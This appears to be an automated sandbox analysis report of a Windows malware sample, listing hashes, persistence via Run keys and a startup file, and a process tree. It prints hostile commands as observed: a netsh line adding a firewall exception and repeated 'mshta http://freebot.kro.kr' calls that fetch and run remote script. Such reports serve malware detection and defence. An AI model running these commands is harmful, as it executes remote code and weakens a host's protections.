Analysis
- max time kernel
150s - max time network
137s - platform
windows10_x64 - resource
win10 - submitted
06/07/2020, 07:30
Static task
static1
Behavioral task
behavioral1
Sample
ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe
Resource
win10
windows10_x64
0 signatures
0 seconds
General
- Target ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe
- Size 32KB
- Sample200706-gj9hynwyle
- SHA256 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9
- MD5 509acfd6f6cbf38eb8defd81f89ad1fb
- SHA1 96efa522dd72ac7139c7795f062463e8e6d9bc07
- SHA512 f56cd142a637413fc08f30168f1e79f6505b08efe4f5c6fc8e072a2195e9ed639f398ec6cfba9574f04f8863f2ad0553ce1e06d42111233326f77ad775052c81
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 3796 Oatmeal.exe - Modifies Windows Firewall 1 TTPs
- Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9d680a88f558114c38c9a9fecc6406de.exe Oatmeal.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9d680a88f558114c38c9a9fecc6406de.exe Oatmeal.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\9d680a88f558114c38c9a9fecc6406de = "\"C:\\Users\\Admin\\AppData\\Roaming\\Oatmeal.exe\" .." Oatmeal.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\9d680a88f558114c38c9a9fecc6406de = "\"C:\\Users\\Admin\\AppData\\Roaming\\Oatmeal.exe\" .." Oatmeal.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe - Suspicious use of AdjustPrivilegeToken 34 IoCs
description pid Process Token: SeDebugPrivilege 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe Token: SeDebugPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe Token: 33 3796 Oatmeal.exe Token: SeIncBasePriorityPrivilege 3796 Oatmeal.exe - Suspicious use of WriteProcessMemory 42 IoCs
description pid Process procid_target PID 2976 wrote to memory of 3796 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 67 PID 2976 wrote to memory of 3796 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 67 PID 2976 wrote to memory of 3796 2976 ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe 67 PID 3796 wrote to memory of 3888 3796 Oatmeal.exe 68 PID 3796 wrote to memory of 3888 3796 Oatmeal.exe 68 PID 3796 wrote to memory of 3888 3796 Oatmeal.exe 68 PID 3796 wrote to memory of 3884 3796 Oatmeal.exe 70 PID 3796 wrote to memory of 3884 3796 Oatmeal.exe 70 PID 3796 wrote to memory of 3884 3796 Oatmeal.exe 70 PID 3884 wrote to memory of 2556 3884 cmd.exe 72 PID 3884 wrote to memory of 2556 3884 cmd.exe 72 PID 3884 wrote to memory of 2556 3884 cmd.exe 72 PID 3796 wrote to memory of 2752 3796 Oatmeal.exe 73 PID 3796 wrote to memory of 2752 3796 Oatmeal.exe 73 PID 3796 wrote to memory of 2752 3796 Oatmeal.exe 73 PID 2752 wrote to memory of 1956 2752 cmd.exe 75 PID 2752 wrote to memory of 1956 2752 cmd.exe 75 PID 2752 wrote to memory of 1956 2752 cmd.exe 75 PID 3796 wrote to memory of 1244 3796 Oatmeal.exe 78 PID 3796 wrote to memory of 1244 3796 Oatmeal.exe 78 PID 3796 wrote to memory of 1244 3796 Oatmeal.exe 78 PID 1244 wrote to memory of 1496 1244 cmd.exe 80 PID 1244 wrote to memory of 1496 1244 cmd.exe 80 PID 1244 wrote to memory of 1496 1244 cmd.exe 80 PID 3796 wrote to memory of 3260 3796 Oatmeal.exe 85 PID 3796 wrote to memory of 3260 3796 Oatmeal.exe 85 PID 3796 wrote to memory of 3260 3796 Oatmeal.exe 85 PID 3260 wrote to memory of 3852 3260 cmd.exe 87 PID 3260 wrote to memory of 3852 3260 cmd.exe 87 PID 3260 wrote to memory of 3852 3260 cmd.exe 87 PID 3796 wrote to memory of 3764 3796 Oatmeal.exe 88 PID 3796 wrote to memory of 3764 3796 Oatmeal.exe 88 PID 3796 wrote to memory of 3764 3796 Oatmeal.exe 88 PID 3764 wrote to memory of 1052 3764 cmd.exe 90 PID 3764 wrote to memory of 1052 3764 cmd.exe 90 PID 3764 wrote to memory of 1052 3764 cmd.exe 90 PID 3796 wrote to memory of 2532 3796 Oatmeal.exe 91 PID 3796 wrote to memory of 2532 3796 Oatmeal.exe 91 PID 3796 wrote to memory of 2532 3796 Oatmeal.exe 91 PID 2532 wrote to memory of 3496 2532 cmd.exe 93 PID 2532 wrote to memory of 3496 2532 cmd.exe 93 PID 2532 wrote to memory of 3496 2532 cmd.exe 93
Processes
-
C:\Users\Admin\AppData\Local\Temp\ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe"C:\Users\Admin\AppData\Local\Temp\ee922b6d10fed127ef2be15c74e0cdfcc18d4bb7ef8a27c34b3ff34e6c492bd9.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Users\Admin\AppData\Roaming\Oatmeal.exe"C:\Users\Admin\AppData\Roaming\Oatmeal.exe"2⤵
- Executes dropped EXE
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Oatmeal.exe" "Oatmeal.exe" ENABLE3⤵PID:3888
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c mshta http://freebot.kro.kr3⤵
- Suspicious use of WriteProcessMemory
PID:3884 -
C:\Windows\SysWOW64\mshta.exemshta http://freebot.kro.kr4⤵PID:2556
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c mshta http://freebot.kro.kr3⤵
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\SysWOW64\mshta.exemshta http://freebot.kro.kr4⤵PID:1956
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c mshta http://freebot.kro.kr3⤵
- Suspicious use of WriteProcessMemory
PID:1244 -
C:\Windows\SysWOW64\mshta.exemshta http://freebot.kro.kr4⤵PID:1496
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c mshta http://freebot.kro.kr3⤵
- Suspicious use of WriteProcessMemory
PID:3260 -
C:\Windows\SysWOW64\mshta.exemshta http://freebot.kro.kr4⤵PID:3852
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c mshta http://freebot.kro.kr3⤵
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\SysWOW64\mshta.exemshta http://freebot.kro.kr4⤵PID:1052
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c mshta http://freebot.kro.kr3⤵
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\SysWOW64\mshta.exemshta http://freebot.kro.kr4⤵PID:3496
-
-
-